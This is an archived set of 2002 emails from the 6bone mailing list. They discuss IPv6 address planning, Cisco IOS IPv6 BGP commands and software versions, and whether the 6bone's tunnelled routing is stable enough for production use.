% 	I need to see the sumary status of all our BGP+ neighbors. The last command
% only give me the status of BGP IPv4 neighbors.
% 
% Thank in advance,
% -as
% 

neubah>sh bgp ipv sum
BGP router identifier 192.0.1.1, local AS number 4554
BGP table version is 8710, main routing table version 8710
380 network entries and 2705 paths using 224040 bytes of memory
28064 BGP path attribute entries using 1572424 bytes of memory
25480 BGP AS-PATH entries using 721502 bytes of memory
63 BGP community entries using 1608 bytes of memory
0 BGP route-map cache entries using 0 bytes of memory
23336 BGP filter-list cache entries using 280032 bytes of memory
Dampening enabled. 19 history paths, 26 dampened paths
BGP activity 147257/475234 prefixes, 350551/211461 paths, scan interval 15 secs

Neighbor        V    AS MsgRcvd MsgSent   TblVer  InQ OutQ Up/Down  State/PfxRcd
....


	works for me.

neubah>sh ver
Cisco Internetwork Operating System Software 
IOS (tm) GS Software (GSR-P-M), Version 12.0(19)ST1, EARLY DEPLOYMENT RELEASE SOFTWARE (fc1)
...

	will need to upgrade soon... :)

-- 
--bill

From pekkas@netcore.fi Wed Jul 31 10:53:14 2002
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Date: Wed, 31 Jul 2002 20:51:54 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Joao Luis Silva Damas <joao@ripe.net>
cc: Michel Py <michel@arneill-py.sacramento.ca.us>,
   Nick Kraal <nick@arc.net.my>, <6bone@mailman.isi.edu>
Subject: RE: [6bone] semi-newbie Q on IPv6 address planning
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Check out 
http://search.ietf.org/internet-drafts/draft-savola-ipv6-127-prefixlen-04.txt, 
it should answer most of your questions.

The draft is in process (hopefully near the end) in getting into an
Informational RFC.

On Wed, 31 Jul 2002, Joao Luis Silva Damas wrote:

> At 8:00 -0700 31/7/02, Michel Py wrote:
> >Nick,
> >
> >>  Do we have to stick to allocating in lots of 8 bits?
> >No. Same is v4, any bit boundary is valid.
> >
> >>  Is a /44 allocation valid?
> >Absolutely. In your case, you could use any prefix you want between /33
> >and /48. The prefixes from /48 to /64 are the customer's responsibility,
> >not yours (except for your infrastructure).
> >
> >>  And what is a /126 allocation for a point-to-point link?
> >
> >Not good, it violates RFC2373.
> 
> Why?
> 
> >  You should use a /64 for point-to-point
> >links.
> 
> Why?
> 
> >  It is typical to allocate a /48 for your ptp links.
> 
> It is convenient, yes.
> 
> Joao
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From tvo@EnterZone.Net Wed Jul 31 12:04:32 2002
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Date: Wed, 31 Jul 2002 15:04:22 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
cc: Ronald van der Pol <Ronald.vanderPol@rvdp.org>, 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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On 31 Jul 2002, Robert Kiessling wrote:

> John Fraizer <tvo@EnterZone.Net> writes:
> 
> Actually this is not true, and limiting transit does make much sense,
> for purely technical reasons. More transit in the sense of BGP
> advertisements does NOT automatically give you better connectivity.
> 
> In practice, we saw a number of cases where someone provides IPv6
> transit (e.g. advertises full BGP table to everyone), but in fact
> fails to route packets because of some misconfiguration. Such this
> "transit" caused a blackhole for you.

Um, that's not transit.  That's a misconfigured peer.  Leaking a prefix
and providing TRANSIT to a prefix are two different things folks.  When I
refer to transit, I am referring to working paths.

> On a performance issue, a transit provider with lots of tunnels across
> the world will give you short BGP paths, but not good actual paths for
> the packets.

Again, the broad brush is being used.  Each path is unique.  Granted, if
someone just blindly builds tunnels to anyone and everyone, they may very
well end up with short AS paths and lousy end-to-end performance.  There
are cases where a tunnel direct to the peer will provide better
performance.  


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From craig_latzke@hp.com Wed Jul 31 12:43:36 2002
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To: "'aservin@campus.mty.itesm.mx'" <aservin@campus.mty.itesm.mx>,
   6bone@ISI.EDU
Subject: RE: [6bone] Cisco Question
Date: Wed, 31 Jul 2002 15:43:22 -0400
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http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122
t/122t2/ipv6/ftipv6r.htm#xtocid0

...is a great place to find all the IPv6 CISCO commands.  Many CISCO IPv6
commands (like your example) reverse fields or just have a slightly
different syntax.  With commands like "sh bgp ipv6 sum", you'll soon find
yourself typing "sh bgp ip sum" and "sh ipv6 bgp sum" and other variations
that don't work.  Another that got me was "ipv6 traffic-filter".

- Craig

-----
Craig Latzke
Network Research Engineer
970.898.2399 
Hewlett-Packard

-----Original Message-----
From: aservin@campus.mty.itesm.mx [mailto:aservin@campus.mty.itesm.mx]
Sent: Wednesday, July 31, 2002 10:53 AM
To: 6bone@ISI.EDU
Subject: [6bone] Cisco Question


        May be this is not the rigth place but I do not know any Cisco
mailing
list relative to IPv6.

	So, the question is:

Is any command similar to "sh ip bgp summary" but for the use with IPv6?

	I need to see the sumary status of all our BGP+ neighbors. The last
command
only give me the status of BGP IPv4 neighbors.

Thank in advance,
-as




_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

From pasky@machine.sinus.cz Wed Jul 31 13:01:12 2002
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Dear diary, on Wed, Jul 31, 2002 at 12:10:35PM CEST, I got a letter,
where Ronald van der Pol <Ronald.vanderPol@rvdp.org> told me, that...
> On Tue, Jul 30, 2002 at 11:13:36 -0700, Michel Py wrote:
> 
> > As I said before, the 6bone is the right place for this. Has anyone been
> > hurt? Anyone lost money? The lessons we collectively learn each time
> > someone messes up a route are far more valuable than the consequences of
> > messing up the route.
> 
> Is it time to start making a clear distinction between IPv6 production
> and IPv6 experimentation/learning? I think today the 6bone is used for
> both.
>  
> Many use IPv6 for their daily work *). We *need* a stable network for
> that.  If we don't do that we risk scaring people away from IPv6. Most
> OSes support IPv6 nowadays. When an enduser starts using IPv6 for the
> first time and she notices all kinds of networking problems, many will
> think: "OK, let's turn off IPv6. It does not work."
>  
> The RIR prefixes are meant for IPv6 production. So, I think they should
> not be used on the 6bone. The 6bone should only be used for experiments
> and possibly learning. And on the other hand, I think production services
> should not use 6bone prefixes, but RIR prefixes.
>  
> 	rvdp
>  
> *) I frequently use ftp, cvs and http over IPv6 to sites far away in
> the internet. Too often, there are routing problems and IPv6 traffic
> is blackholed (routing loops, etc). Most application time out and try
> IPv4. But this means annoying delays. Many of these problems occur
> because people are running production services over the 6bone.

This is wild world and natural processes mostly rule this world. Basically, I
believe that unreliability of the IPv6 internet is generally caused by the fact
that it does not run native, but tunnelled through IPv4. And people tend to
create peerings through tunnels even with peers they have poor latency to etc.
It's not the 2001::/16 what saves you, it's the unwritten (?) rule that native
links usually live inside 2001::/16 and tunnels inside 3ffe::/16. As people
continue with establishing of native IPv6 links and peerings, the situation
improves and the native peering usually tends to be much more stable and
reliable than the peering through tunnels, especially when driven on some
official base (and this is also another difference between IPv4 and IPv6, IPv4
peerings are protected by various contracts and agreements, being ran on
commercial base; IPv6 usually aren't [altough there are obviously exceptions
already]). And as the time goes on, people obviously tend to sacrifice the
tunnel peerings for native ones and the reliability improves. The natural
process.  You can obviously push it a lot by preferring native peerings before
the tunneled ones, and this should probably become another written unwritten
rule.

This has been said before already in few mails undirectly, this mail is meant
generally as a summary of that view (not the only one here, obviously, just the
one I agree with).

-- 
 
				Petr "Pasky" Baudis
 
* ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI occassional hacker
.
You can get much further with a kind word and a gun than you can with a
kind word alone. -- Al Capone
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From sp@iphh.net Wed Jul 31 13:06:27 2002
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From: "Sascha E. Pollok" <sp@iphh.net>
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Folks,

may I just hop in here and ask what kind of
IOS version is currently most preferred on non-12k boxes?
Someone suggested 12.2(2)T1 while someone else said that 12.2(8)T5 is a
good thing. Anyone else?

Thanks a lot
Sascha

On Wed, 31 Jul 2002, LATZKE,CRAIG (HP-FtCollins,ex1) wrote:

> http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122
> t/122t2/ipv6/ftipv6r.htm#xtocid0
> 
> ...is a great place to find all the IPv6 CISCO commands.  Many CISCO IPv6
> commands (like your example) reverse fields or just have a slightly
> different syntax.  With commands like "sh bgp ipv6 sum", you'll soon find
> yourself typing "sh bgp ip sum" and "sh ipv6 bgp sum" and other variations
> that don't work.  Another that got me was "ipv6 traffic-filter".
> 
> - Craig
> 
> -----
> Craig Latzke
> Network Research Engineer
> 970.898.2399 
> Hewlett-Packard
> 
> -----Original Message-----
> From: aservin@campus.mty.itesm.mx [mailto:aservin@campus.mty.itesm.mx]
> Sent: Wednesday, July 31, 2002 10:53 AM
> To: 6bone@ISI.EDU
> Subject: [6bone] Cisco Question
> 
> 
>         May be this is not the rigth place but I do not know any Cisco
> mailing
> list relative to IPv6.
> 
> 	So, the question is:
> 
> Is any command similar to "sh ip bgp summary" but for the use with IPv6?
> 
> 	I need to see the sumary status of all our BGP+ neighbors. The last
> command
> only give me the status of BGP IPv4 neighbors.
> 
> Thank in advance,
> -as
> 
> 
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From michel@arneill-py.sacramento.ca.us Wed Jul 31 13:22:00 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Sascha E. Pollok" <sp@iphh.net>,
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I run 12.2(4)T3 back from 12.2(8)T1 that had AM issues.

-----Original Message-----
From: Sascha E. Pollok [mailto:sp@iphh.net] 
Sent: Wednesday, July 31, 2002 1:06 PM
To: LATZKE,CRAIG (HP-FtCollins,ex1)
Cc: 6bone@ISI.EDU
Subject: RE: [6bone] Cisco Question

Folks,

may I just hop in here and ask what kind of
IOS version is currently most preferred on non-12k boxes?
Someone suggested 12.2(2)T1 while someone else said that 12.2(8)T5 is a
good thing. Anyone else?

Thanks a lot
Sascha

On Wed, 31 Jul 2002, LATZKE,CRAIG (HP-FtCollins,ex1) wrote:

>
http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft
/122
> t/122t2/ipv6/ftipv6r.htm#xtocid0
> 
> ...is a great place to find all the IPv6 CISCO commands.  Many CISCO
IPv6
> commands (like your example) reverse fields or just have a slightly
> different syntax.  With commands like "sh bgp ipv6 sum", you'll soon
find
> yourself typing "sh bgp ip sum" and "sh ipv6 bgp sum" and other
variations
> that don't work.  Another that got me was "ipv6 traffic-filter".
> 
> - Craig
> 
> -----
> Craig Latzke
> Network Research Engineer
> 970.898.2399 
> Hewlett-Packard
> 
> -----Original Message-----
> From: aservin@campus.mty.itesm.mx [mailto:aservin@campus.mty.itesm.mx]
> Sent: Wednesday, July 31, 2002 10:53 AM
> To: 6bone@ISI.EDU
> Subject: [6bone] Cisco Question
> 
> 
>         May be this is not the rigth place but I do not know any Cisco
> mailing
> list relative to IPv6.
> 
> 	So, the question is:
> 
> Is any command similar to "sh ip bgp summary" but for the use with
IPv6?
> 
> 	I need to see the sumary status of all our BGP+ neighbors. The
last
> command
> only give me the status of BGP IPv4 neighbors.
> 
> Thank in advance,
> -as
> 
> 
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone

From rain@bluecherry.net Wed Jul 31 13:54:57 2002
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On Wed, 2002-07-31 at 15:06, Sascha E. Pollok wrote:
> Folks,
>=20
> may I just hop in here and ask what kind of
> IOS version is currently most preferred on non-12k boxes?
> Someone suggested 12.2(2)T1 while someone else said that 12.2(8)T5 is a
> good thing. Anyone else?
I was having some stability problems with 12.2(8)T5, but they seem to
have gone away (perhaps the router was still running 12.2(8)T when it
last crashed, I don't remember.)

>=20
> Thanks a lot
> Sascha
>=20
--=20
Ben Winslow (rain@bluecherry.net) : When you are in it up to your
       System Administrator       : ears, keep your mouth shut. =20
   Bluecherry Internet Services   :=20
    http://www.bluecherry.net/    :=20
          (573) 592-0800          :=20

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From rvdp@kirk.rvdp.org Wed Jul 31 14:03:58 2002
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Date: Wed, 31 Jul 2002 23:03:55 +0200
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Petr Baudis <pasky@pasky.ji.cz>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Re: routing concern
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References: <2B81403386729140A3A899A8B39B046405E225@server2000.arneill-py.sacramento.ca.us> <20020731101035.GA12460@rvdp.org> <20020731200106.GB4117@pasky.ji.cz>
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On Wed, Jul 31, 2002 at 22:01:07 +0200, Petr Baudis wrote:

> And as the time goes on, people obviously tend to sacrifice the
> tunnel peerings for native ones and the reliability improves. The natural
> process.

This is what we have been trying to do for the last couple of
years, but without much success. The 6bone is still too unstable.
Look at the OS mailing lists. End users are disabling IPv6 in
their OS because it does not work.

We don't need a stable IPv6 network tomorrow. We need it today.
I doubt if we can make the 6bone stable very soon.

Their is also the question what the current 6bone is supposed to
be. Is it an IPv6 network that evolves in a globally production/
commercial stable IPv6 network? Or is it becoming a network for
doing IPv6 related experiments? We may need such a network in
the next few years for doing (possibly disruptive) testing
(multihoming, completely new addressing and/or routing, etc.)

	rvdp

From bmanning@ISI.EDU Wed Jul 31 14:16:00 2002
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Subject: Re: [6bone] Re: routing concern
In-Reply-To: <20020731210355.GA17658@rvdp.org> from Ronald van der Pol at "Jul 31, 2 11:03:55 pm"
To: Ronald.vanderPol@rvdp.org (Ronald van der Pol)
Date: Wed, 31 Jul 2002 14:15:45 -0700 (PDT)
Cc: pasky@pasky.ji.cz, 6bone@ISI.EDU
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% On Wed, Jul 31, 2002 at 22:01:07 +0200, Petr Baudis wrote:
% 
% > And as the time goes on, people obviously tend to sacrifice the
% > tunnel peerings for native ones and the reliability improves. The natural
% > process.
% 
% This is what we have been trying to do for the last couple of
% years, but without much success. The 6bone is still too unstable.
% Look at the OS mailing lists. End users are disabling IPv6 in
% their OS because it does not work.
% 
% We don't need a stable IPv6 network tomorrow. We need it today.
% I doubt if we can make the 6bone stable very soon.
	
	For me, I have three peers that transit native 
	v4 for me.  Due to a variety of conditions, none
	of them will run native v6 with me in a merged v4/v6
	connection.  They are -all- tunnels.

	Go figure...  why do/will commercial providers
	do this?  (hint... SLA's and problems with "converged"
	networks come to my mind... :)

	To borrow a line from the v6 panel at the last IETF,
	"what can you do with v6 that you can't do with v4?"
	
	Finding that thing for (many/most) users will drive
	v6 deployment/stability.  Or it could be that v6 is 
	not something that will boost quarterly profits...
	this quarter.  It may take several more years to
	mature.

--bill

From paitken@cisco.com Wed Jul 31 14:23:04 2002
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> May be this is not the rigth place but I do not know any Cisco mailing
> list relative to IPv6.

If you're running an image from CCO, you should contact cisco's 
Technical Assistance Centre -> tac@cisco.com, http://www.cisco.com/tac.

If you're running an IPv6 EFT image (or have very specific IPv6 
questions, or 6bone issues) you can contact us at ipv6-support@cisco.com.

Also visit http://www.cisco.com/ipv6 and follow the links, especially 
the "View Cisco IOS IPv6 Technical Documents" link.

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From paitken@cisco.com Wed Jul 31 14:27:47 2002
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Subject: Re: [6bone] Cisco Question
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CRAIG LATZKE wrote:

 > Many CISCO IPv6 commands (like your example) reverse fields or just
 > have a slightly different syntax.  With commands like "sh bgp ipv6
 > sum", you'll soon find yourself typing "sh bgp ip sum" and "sh ipv6
 > bgp sum" and other variations that don't work.

Sorry if you find this confusing, but the choice was made after 
consultation with our IPv6 EFT customers.

-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX



From paitken@cisco.com Wed Jul 31 14:35:54 2002
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Sascha E. Pollok wrote:
> 
> may I just hop in here and ask what kind of
> IOS version is currently most preferred on non-12k boxes?
> Someone suggested 12.2(2)T1 while someone else said that 12.2(8)T5 is a
> good thing. Anyone else?

12.2(2)T1 is older than 12.2(8)T5 and has less IPv6 features and less 
bug fixes.

If "someone" had meant to say "12.2(2)T" (ie, not T1) then they were 
telling you the *minimum* IOS version for IPv6 functionality, not the best.

Whereas 12.2(8)T5 is one of the latest IOS versions.

At http://www.cisco.com/ipv6 we say:

    "We highly recommended selecting the latest available
     Cisco IOS T release".

So generally it'd be good to choose a 12.2(8)T release over a 12.2(2)T 
release.

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX



From randy@psg.com Wed Jul 31 14:37:17 2002
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Subject: Re: [6bone] Re: routing concern
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> The 6bone is still too unstable.  Look at the OS mailing
> lists. End users are disabling IPv6 in their OS because it does
> not work.

it has cost me days!

> We don't need a stable IPv6 network tomorrow. We need it today.
> I doubt if we can make the 6bone stable very soon.

ever.

tunneling may be good for a very tentative experiment.  and it can
be politically useful.  but for anything production-like, it simply
does not have anything like the reliability and scale needed for
real use by folk just wanting their packets to be delivered.

> Their is also the question what the current 6bone is supposed to
> be. Is it an IPv6 network that evolves in a globally production/
> commercial stable IPv6 network?

i hope not, as it just can't technically and operationally do so.

to learn the difference between a router as a forwarding engine,
and a router as a tcp stack, just run a tcp stack tester against 
a cisco on a local lan.  and this is why multi-hop ebgp sessions
break so easily.

randy


From pasky@machine.sinus.cz Wed Jul 31 14:39:47 2002
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Dear diary, on Wed, Jul 31, 2002 at 11:03:55PM CEST, I got a letter,
where Ronald van der Pol <Ronald.vanderPol@rvdp.org> told me, that...
> On Wed, Jul 31, 2002 at 22:01:07 +0200, Petr Baudis wrote:
> 
> > And as the time goes on, people obviously tend to sacrifice the
> > tunnel peerings for native ones and the reliability improves. The natural
> > process.
> 
> This is what we have been trying to do for the last couple of
> years, but without much success. The 6bone is still too unstable.
> Look at the OS mailing lists. End users are disabling IPv6 in
> their OS because it does not work.
> 
> We don't need a stable IPv6 network tomorrow. We need it today.
> I doubt if we can make the 6bone stable very soon.

Again, this is not problem of 6bone, but problem of its users. They must move
from tunnel peerings to native peerings, and then they will also move from
6bone. When you will cut out 6bone, you will just force them to move all their
tunnelled links etc to 2001::/16 space, polluting it terribly, making it
impossible to distinguish Bad Peers and Good Peers easily. And you will just
make situation worse in another part of IPv6 internet.

> Their is also the question what the current 6bone is supposed to
> be. Is it an IPv6 network that evolves in a globally production/
> commercial stable IPv6 network? Or is it becoming a network for
> doing IPv6 related experiments? We may need such a network in
> the next few years for doing (possibly disruptive) testing
> (multihoming, completely new addressing and/or routing, etc.)

I believe that it's both. It evolves in a globally production IPv6 network as
much as its members will evolve in commercial stable IPv6 providers, however as
they will evolve, they will move to native links and to 2001::/16. And then
6bone will be left free for those strange geeks playing with sci-fi
technologies ;-). And _then_ the 6bone delegation and routing policy should be
changed, and peering with newly delegated 6bone delegations (the old ones will
hopefully just devolve by time) should be crafted carefully, and generally no
transit should be routed through them.

-- 
 
				Petr "Pasky" Baudis
 
* ELinks maintainer                * IPv6 guy (XS26 co-coordinator)
* IRCnet operator                  * FreeCiv AI occassional hacker
.
You can get much further with a kind word and a gun than you can with a
kind word alone. -- Al Capone
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/

From pfs@cisco.com Wed Jul 31 14:44:46 2002
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Date: Thu, 01 Aug 2002 07:43:08 +1000
To: Nick Kraal <nick@arc.net.my>
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Subject: Re: [6bone] semi-newbie Q on IPv6 address planning
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Nick,

In addition to the other answers:

rfc2374 is basically out of date - the terminology and boundaries referring 
to TLA, NLA etc are not applicable any more. So, your /32 is yours to 
subdivide as you wish - the minimum amount you give to any site is a /48, 
you use /64 for point-to-point links (and as Michel said, pick a /48 block 
to number your p-t-p links out of - which gives you 65k p-t-ps).

Why pick a /40 for your ISP customers - just give them what they require 
and can justify, as you do with IPv4 - you are announcing only your /32 
aggregate to the Internet, the subprefixes won't ordinarily be visible, so 
it's up to you how you want things to appear within your own backbone.

Note that when you "run out" of your /32 and need more address space, I'd 
imagine that the registries would require a similar documentation effort to 
what you are currently doing for your IPv4 allocation, so it is highly 
advisable to be prudent in how you distribute.

As for case studies, well, networks are all different - as for IPv4, doing 
a case study for address space distribution depends so much on local 
circumstance. (Note that RFC2374 expected ISPs to be shoe-horned into one 
particular model, a model which many operators couldn't work with.)

philip
--

At 19:34 24/07/2002 +0800, Nick Kraal wrote:
>I heard that this mailing-list holds the most experienced IPv6 prefix and IP
>address allocation planners. I am in the middle of deploying our IPv6
>network and in some mental block when it comes to IP address prefix
>planning. Basically we have been allocated a /32 from APNIC and need some
>advice/pointers in further allocating IPv6 addresses and prefixes.
>
>Have read RFC2373/2374/3177 on this. Basically  we plan to allocate /48 for
>end-customers and /40 for our pNLA customers. So basically for a /48
>allocation I have the full 16 bits to play around with and for a /40
>allocation only 8 bits leaving the last 8 bits in this field for the pNLA to
>assign to their end customers. The end customers in both cases allocate
>further networks in the SLA field. Reading on the web there are many methods
>or allocating these bits ranging from allocating some bits:
>
>a. differentiate core from customer networks e.g. between /40, /48, /64
>b. geographical PoP sites and further bits to do point a. above
>
>Have looked at the websites on this for SLAC, Stanford and Internet2,
>Abilene. Are there any BCPs out there advising on this or are we on our own.
>I have worked something out based on the information from the Internet -but
>looks quite dodgy.
>
>Do we have to stick to allocating in lots of 8 bits? Is a /44 allocation
>valid? And what is a /126 allocation for a point-to-point link? I thought
>the last /64 is reserved for the EUI-64 interface ID.
>
>Would appreciate any pointers/hints/websites/etc on this.
>
>-nick/
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From itojun@itojun.org Wed Jul 31 15:33:28 2002
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Subject: Re: [6bone] Re: routing concern 
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>> This is the way it's supposed to be already. The 6bone should *not* be
>> used for production. The problem is that people actually use it for
>> production.
>What I gather from the above, is that the 6bone, for all intents and
>purposes, is 3ffe::/16.  No production services living on 3ffe::/16, no
>problem.  "Production" in my book is COMMERCIAL.
>
>If you define "6bone" otherwise, please explain.  If you define production
>otherwise (in the context of 6bone vs production) please explain.

	the problem is that there's no distinction between sTLA cloud and pTLA
	cloud - they are overwrapped, and most of sTLA sites do hold pTLA
	address with them too.

	if we could split these two clouds into two (interconnected via few
	routers), it would be very nice, but i don't think it is going to be
	possible.  so we need to harden 6bone (= pTLA cloud).

itojun

From pfs@cisco.com Wed Jul 31 15:34:43 2002
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At 23:18 31/07/2002 +0100, Tim Chown wrote:

>Under the old /35 regime, a /29 was actually reserved for you to grow
>into, for aggregation sake.   Is the /32 still growable to an aggregated
>/29 now, or /26, or what?

The reserved /29 is no more. So if you got a /35 under the old scheme, you 
can grow it to a /32 (as many folks are doing now) on application to the 
RIR. When you require more address space after the initial /32, you return 
to the registries. Pretty much as we do in IPv4-land...

BTW, 
ftp://ftp.cs.duke.edu/pub/narten/ietf/global-ipv6-assign-2002-06-26.txt 
describes the IPv6 address assignment and allocation policy of the three 
registries... So what's gone before is no more, afaik.

philip
--


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itojun@iijlab.net wrote:

> 	the problem is that there's no distinction between sTLA cloud
and pTLA
> 	cloud - they are overwrapped, and most of sTLA sites do hold
pTLA
> 	address with them too.
> 
> 	if we could split these two clouds into two (interconnected via
few
> 	routers), it would be very nice, but i don't think it is going
to be
> 	possible.  so we need to harden 6bone (= pTLA cloud).

And today it's another thursday, so I am going to make another summer
cleanup email when the routing report comes in.
Only this time I am going to yell a bit harder, especially to those who
didn't clean up their stuff.

Greets,
 Jeroen


From riel@conectiva.com.br Wed Jul 31 18:24:03 2002
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From: Rik van Riel <riel@conectiva.com.br>
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Subject: Re: [6bone] Re: routing concern 
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On Thu, 1 Aug 2002 itojun@iijlab.net wrote:

> 	the problem is that there's no distinction between sTLA cloud and pTLA
> 	cloud - they are overwrapped, and most of sTLA sites do hold pTLA
> 	address with them too.
>
> 	if we could split these two clouds into two (interconnected via few
> 	routers), it would be very nice, but i don't think it is going to be
> 	possible.  so we need to harden 6bone (= pTLA cloud).

One thing possible to make 6bone traffic more reliable is
BGP confederations. Inside the COMPENDIUM pTLA we have
multiple ipv6 islands in a BGP confederation, advertising
the same BGP AS number to external peers and non-confed
islands in the pTLA.

If routing to one of the central ipv6 islands is lost,
the packets will be routed via one of the others.

Of course, performance is bad in a pTLA as geographically
dispersed as COMPENDIUM, but ipv6 has proven to be much
more reliable for me than ipv4 has ever been.

This idea could be used by organisations who are close to
each other geographically and by hop count ... something
vaguely like multihoming, without violating RFC 2772.

Having 4 well-connected (to each other) sites participate
in the same pTLA and same BGP confederation could make the
6bone traffic more reliable for both the sites themselves
and the peers they transit for.

Performance can be regained later when the sites move to
native ipv6 links.

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From pekkas@netcore.fi Wed Jul 31 19:45:29 2002
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Date: Thu, 1 Aug 2002 05:45:18 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: "Sascha E. Pollok" <sp@iphh.net>
cc: "LATZKE,CRAIG (HP-FtCollins,ex1)" <craig_latzke@hp.com>, <6bone@ISI.EDU>
Subject: RE: [6bone] Cisco Question
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On Wed, 31 Jul 2002, Sascha E. Pollok wrote:
> may I just hop in here and ask what kind of
> IOS version is currently most preferred on non-12k boxes?
> Someone suggested 12.2(2)T1 while someone else said that 12.2(8)T5 is a
> good thing. Anyone else?

If you run in "production", you want 12.0(22)S if you use GSR.  If not, 
upcoming 12.2(11)S will also work in some other architectures.  In test 
environments, the latest T-series 12.2(8)T5 is a good choice, or the 
latest EFT (beta) image.

> On Wed, 31 Jul 2002, LATZKE,CRAIG (HP-FtCollins,ex1) wrote:
> 
> > http://www.cisco.com/univercd/cc/td/doc/product/software/ios122/122newft/122
> > t/122t2/ipv6/ftipv6r.htm#xtocid0
> > 
> > ...is a great place to find all the IPv6 CISCO commands.  Many CISCO IPv6
> > commands (like your example) reverse fields or just have a slightly
> > different syntax.  With commands like "sh bgp ipv6 sum", you'll soon find
> > yourself typing "sh bgp ip sum" and "sh ipv6 bgp sum" and other variations
> > that don't work.  Another that got me was "ipv6 traffic-filter".
> > 
> > - Craig
> > 
> > -----
> > Craig Latzke
> > Network Research Engineer
> > 970.898.2399 
> > Hewlett-Packard
> > 
> > -----Original Message-----
> > From: aservin@campus.mty.itesm.mx [mailto:aservin@campus.mty.itesm.mx]
> > Sent: Wednesday, July 31, 2002 10:53 AM
> > To: 6bone@ISI.EDU
> > Subject: [6bone] Cisco Question
> > 
> > 
> >         May be this is not the rigth place but I do not know any Cisco
> > mailing
> > list relative to IPv6.
> > 
> > 	So, the question is:
> > 
> > Is any command similar to "sh ip bgp summary" but for the use with IPv6?
> > 
> > 	I need to see the sumary status of all our BGP+ neighbors. The last
> > command
> > only give me the status of BGP IPv4 neighbors.
> > 
> > Thank in advance,
> > -as
> > 
> > 
> > 
> > 
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> > 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pekkas@netcore.fi Wed Jul 31 19:49:47 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Philip Smith <pfs@cisco.com>
cc: Tim Chown <tjc@ecs.soton.ac.uk>, <6bone@mailman.isi.edu>
Subject: Re: [6bone] semi-newbie Q on IPv6 address planning
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On Thu, 1 Aug 2002, Philip Smith wrote:
> At 23:18 31/07/2002 +0100, Tim Chown wrote:
> 
> >Under the old /35 regime, a /29 was actually reserved for you to grow
> >into, for aggregation sake.   Is the /32 still growable to an aggregated
> >/29 now, or /26, or what?
> 
> The reserved /29 is no more. So if you got a /35 under the old scheme, you 
> can grow it to a /32 (as many folks are doing now) on application to the 
> RIR. 

Practically, it still is, until there are assignments from that /29..

> When you require more address space after the initial /32, you return 
> to the registries. Pretty much as we do in IPv4-land...

Right... 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From pasky@machine.sinus.cz Wed Jul 31 23:26:03 2002
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Dear diary, on Thu, Aug 01, 2002 at 03:23:19AM CEST, I got a letter,
where Rik van Riel <riel@conectiva.com.br> told me, that...
> On Thu, 1 Aug 2002 itojun@iijlab.net wrote:
> 
> > 	the problem is that there's no distinction between sTLA cloud and pTLA
> > 	cloud - they are overwrapped, and most of sTLA sites do hold pTLA
> > 	address with them too.
> >
> > 	if we could split these two clouds into two (interconnected via few
> > 	routers), it would be very nice, but i don't think it is going to be
> > 	possible.  so we need to harden 6bone (= pTLA cloud).
> 
> One thing possible to make 6bone traffic more reliable is
> BGP confederations. Inside the COMPENDIUM pTLA we have
> multiple ipv6 islands in a BGP confederation, advertising
> the same BGP AS number to external peers and non-confed
> islands in the pTLA.
> 
> If routing to one of the central ipv6 islands is lost,
> the packets will be routed via one of the others.
> 
> Of course, performance is bad in a pTLA as geographically
> dispersed as COMPENDIUM, but ipv6 has proven to be much
> more reliable for me than ipv4 has ever been.
> 
